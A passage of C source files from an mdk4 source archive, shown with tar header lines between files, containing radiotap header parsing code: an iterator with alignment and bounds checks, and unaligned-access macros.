struct ieee80211_radiotap_iterator *iterator)
{
while (1) {
int hit = 0;
int pad, align, size, subns;
uint32_t oui;
/* if no more EXT bits, that's it */
if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT &&
!(iterator->_bitmap_shifter & 1))
return -ENOENT;
if (!(iterator->_bitmap_shifter & 1))
goto next_entry; /* arg not present */
/* get alignment/size of data */
switch (iterator->_arg_index % 32) {
case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
case IEEE80211_RADIOTAP_EXT:
align = 1;
size = 0;
break;
case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
align = 2;
size = 6;
break;
default:
#ifdef RADIOTAP_SUPPORT_OVERRIDES
if (find_override(iterator, &align, &size)) {
/* all set */
} else
#endif
if (!iterator->current_namespace ||
iterator->_arg_index >= iterator->current_namespace->n_bits) {
if (iterator->current_namespace == &radiotap_ns)
return -ENOENT;
align = 0;
} else {
align = iterator->current_namespace->align_size[iterator->_arg_index].align;
size = iterator->current_namespace->align_size[iterator->_arg_index].size;
}
if (!align) {
/* skip all subsequent data */
iterator->_arg = iterator->_next_ns_data;
/* give up on this namespace */
iterator->current_namespace = NULL;
goto next_entry;
}
break;
}
/*
* arg is present, account for alignment padding
*
* Note that these alignments are relative to the start
* of the radiotap header. There is no guarantee
* that the radiotap header itself is aligned on any
* kind of boundary.
*
* The above is why get_unaligned() is used to dereference
* multibyte elements from the radiotap area.
*/
pad = ((unsigned long)iterator->_arg -
(unsigned long)iterator->_rtheader) & (align - 1);
if (pad)
iterator->_arg += align - pad;
if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
int vnslen;
if ((unsigned long)iterator->_arg + size -
(unsigned long)iterator->_rtheader >
(unsigned long)iterator->_max_length)
return -EINVAL;
oui = (*iterator->_arg << 16) |
(*(iterator->_arg + 1) << 8) |
*(iterator->_arg + 2);
subns = *(iterator->_arg + 3);
find_ns(iterator, oui, subns);
vnslen = get_unaligned_le16(iterator->_arg + 4);
iterator->_next_ns_data = iterator->_arg + size + vnslen;
if (!iterator->current_namespace)
size += vnslen;
}
/*
* this is what we will return to user, but we need to
* move on first so next call has something fresh to test
*/
iterator->this_arg_index = iterator->_arg_index;
iterator->this_arg = iterator->_arg;
iterator->this_arg_size = size;
/* internally move on the size of this arg */
iterator->_arg += size;
/*
* check for insanity where we are given a bitmap that
* claims to have more arg content than the length of the
* radiotap section. We will normally end up equalling this
* max_length on the last arg, never exceeding it.
*/
if ((unsigned long)iterator->_arg -
(unsigned long)iterator->_rtheader >
(unsigned long)iterator->_max_length)
return -EINVAL;
/* these special ones are valid in each bitmap word */
switch (iterator->_arg_index % 32) {
case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
iterator->_reset_on_ext = 1;
iterator->is_radiotap_ns = 0;
/*
* If parser didn't register this vendor
* namespace with us, allow it to show it
* as 'raw. Do do that, set argument index
* to vendor namespace.
*/
iterator->this_arg_index =
IEEE80211_RADIOTAP_VENDOR_NAMESPACE;
if (!iterator->current_namespace)
hit = 1;
goto next_entry;
case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
iterator->_reset_on_ext = 1;
iterator->current_namespace = &radiotap_ns;
iterator->is_radiotap_ns = 1;
goto next_entry;
case IEEE80211_RADIOTAP_EXT:
/*
* bit 31 was set, there is more
* -- move to next u32 bitmap
*/
iterator->_bitmap_shifter =
get_unaligned_le32(iterator->_next_bitmap);
iterator->_next_bitmap++;
if (iterator->_reset_on_ext)
iterator->_arg_index = 0;
else
iterator->_arg_index++;
iterator->_reset_on_ext = 0;
break;
default:
/* we've got a hit! */
hit = 1;
next_entry:
iterator->_bitmap_shifter >>= 1;
iterator->_arg_index++;
}
/* if we found a valid arg earlier, return it now */
if (hit)
return 0;
}
}
mdk4-master/src/osdep/radiotap/platform.h 0000644 0001750 0001750 00000001063 13525065636 021476 0 ustar samueloph samueloph #include
#include
#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#ifdef __FreeBSD__
#include
#else
#include
#endif
#define le16_to_cpu le16toh
#define le32_to_cpu le32toh
#define get_unaligned(p) \
({ \
struct packed_dummy_struct { \
typeof(*(p)) __val; \
} __attribute__((packed)) *__ptr = (void *) (p); \
\
__ptr->__val; \
})
#define get_unaligned_le16(p) le16_to_cpu(get_unaligned((uint16_t *)(p)))
#define get_unaligned_le32(p) le32_to_cpu(get_unaligned((uint32_t *)(p)))
mdk4-master/src/osdep/radiotap/radiotap-parser.c 0000644 0001750 0001750 00000016753 13525065636 022756 0 ustar samueloph samueloph /*
* Copyright (c) 2007, 2008, Andy Green
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#include
#include
#include
#include "radiotap-parser.h"
/*
* Radiotap header iteration
* implemented in src/radiotap-parser.c
*
* call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
* struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
* then loop calling __ieee80211_radiotap_iterator_next()... it returns -1
* if there are no more args in the header, or the next argument type index
* that is present. The iterator's this_arg member points to the start of the
* argument associated with the current argument index that is present,
* which can be found in the iterator's this_arg_index member. This arg
* index corresponds to the IEEE80211_RADIOTAP_... defines.
*/
int ieee80211_radiotap_iterator_init(
struct ieee80211_radiotap_iterator * iterator,
struct ieee80211_radiotap_header * radiotap_header,
int max_length)
{
if(iterator == NULL)
return (-EINVAL);
if(radiotap_header == NULL)
return (-EINVAL);
/* Linux only supports version 0 radiotap format */
if (radiotap_header->it_version)
return (-EINVAL);
/* sanity check for allowed length and radiotap length field */
if (max_length < (le16_to_cpu(radiotap_header->it_len)))
return (-EINVAL);
iterator->rtheader = radiotap_header;
iterator->max_length = le16_to_cpu(radiotap_header->it_len);
iterator->arg_index = 0;
iterator->bitmap_shifter = le32_to_cpu(radiotap_header->it_present);
iterator->arg = ((u8 *)radiotap_header) +
sizeof (struct ieee80211_radiotap_header);
iterator->this_arg = 0;
/* find payload start allowing for extended bitmap(s) */
if (unlikely(iterator->bitmap_shifter &
IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK)) {
while (le32_to_cpu(*((u32 *)iterator->arg)) &
IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK) {
iterator->arg += sizeof (u32);
/*
* check for insanity where the present bitmaps
* keep claiming to extend up to or even beyond the
* stated radiotap header length
*/
if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) >
iterator->max_length)
return (-EINVAL);
}
iterator->arg += sizeof (u32);
/*
* no need to check again for blowing past stated radiotap
* header length, becuase ieee80211_radiotap_iterator_next
* checks it before it is dereferenced
*/
}
/* we are all initialized happily */
return (0);
}
/**
* ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
* @iterator: radiotap_iterator to move to next arg (if any)
*
* Returns: next present arg index on success or negative if no more or error
*
* This function returns the next radiotap arg index (IEEE80211_RADIOTAP_...)
* and sets iterator->this_arg to point to the payload for the arg. It takes
* care of alignment handling and extended present fields. interator->this_arg
* can be changed by the caller. The args pointed to are in little-endian
* format.
*/
int ieee80211_radiotap_iterator_next(
struct ieee80211_radiotap_iterator * iterator)
{
/*
* small length lookup table for all radiotap types we heard of
* starting from b0 in the bitmap, so we can walk the payload
* area of the radiotap header
*
* There is a requirement to pad args, so that args
* of a given length must begin at a boundary of that length
* -- but note that compound args are allowed (eg, 2 x u16
* for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not
* a reliable indicator of alignment requirement.
*
* upper nybble: content alignment for arg
* lower nybble: content length for arg
*/
static const u8 rt_sizes[] = {
[IEEE80211_RADIOTAP_TSFT] = 0x88,
[IEEE80211_RADIOTAP_FLAGS] = 0x11,
[IEEE80211_RADIOTAP_RATE] = 0x11,
[IEEE80211_RADIOTAP_CHANNEL] = 0x24,
[IEEE80211_RADIOTAP_FHSS] = 0x22,
[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11,
[IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11,
[IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22,
[IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22,
[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22,
[IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11,
[IEEE80211_RADIOTAP_ANTENNA] = 0x11,
[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11,
[IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11
/*
* add more here as they are defined in
* include/net/ieee80211_radiotap.h
*/
};
/*
* for every radiotap entry we can at
* least skip (by knowing the length)...
*/
while (iterator->arg_index < (int)sizeof (rt_sizes)) {
int hit = 0;
if (!(iterator->bitmap_shifter & 1))
goto next_entry; /* arg not present */
/*
* arg is present, account for alignment padding
* 8-bit args can be at any alignment
* 16-bit args must start on 16-bit boundary
* 32-bit args must start on 32-bit boundary
* 64-bit args must start on 64-bit boundary
*
* note that total arg size can differ from alignment of
* elements inside arg, so we use upper nybble of length
* table to base alignment on
*
* also note: these alignments are ** relative to the
* start of the radiotap header **. There is no guarantee
* that the radiotap header itself is aligned on any
* kind of boundary.
*/
if ((((void*)iterator->arg)-((void*)iterator->rtheader)) &
((rt_sizes[iterator->arg_index] >> 4) - 1))
iterator->arg_index +=
(rt_sizes[iterator->arg_index] >> 4) -
((((void*)iterator->arg) -
((void*)iterator->rtheader)) &
((rt_sizes[iterator->arg_index] >> 4) - 1));
/*
* this is what we will return to user, but we need to
* move on first so next call has something fresh to test
*/
iterator->this_arg_index = iterator->arg_index;
iterator->this_arg = iterator->arg;
hit = 1;
/* internally move on the size of this arg */
iterator->arg += rt_sizes[iterator->arg_index] & 0x0f;
/*
* check for insanity where we are given a bitmap that
* claims to have more arg content than the length of the
* radiotap section. We will normally end up equalling this
* max_length on the last arg, never exceeding it.
*/
if ((((void*)iterator->arg) - ((void*)iterator->rtheader)) >
iterator->max_length)
return (-EINVAL);
next_entry:
iterator->arg_index++;
if (unlikely((iterator->arg_index & 31) == 0)) {
/* completed current u32 bitmap */
if (iterator->bitmap_shifter & 1) {
/* b31 was set, there is more */
/* move to next u32 bitmap */
iterator->bitmap_shifter = le32_to_cpu(
*iterator->next_bitmap);
iterator->next_bitmap++;
} else {
/* no more bitmaps: end */
iterator->arg_index = sizeof (rt_sizes);
}
} else { /* just try the next bit */
iterator->bitmap_shifter >>= 1;
}
/* if we found a valid arg earlier, return it now */
if (hit)
return (iterator->this_arg_index);
}
/* we don't know how to handle any more args, we're done */
return (-1);
}
mdk4-master/src/osdep/radiotap/parse.c 0000644 0001750 0001750 00000010022 13525065636 020752 0 ustar samueloph samueloph #ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#include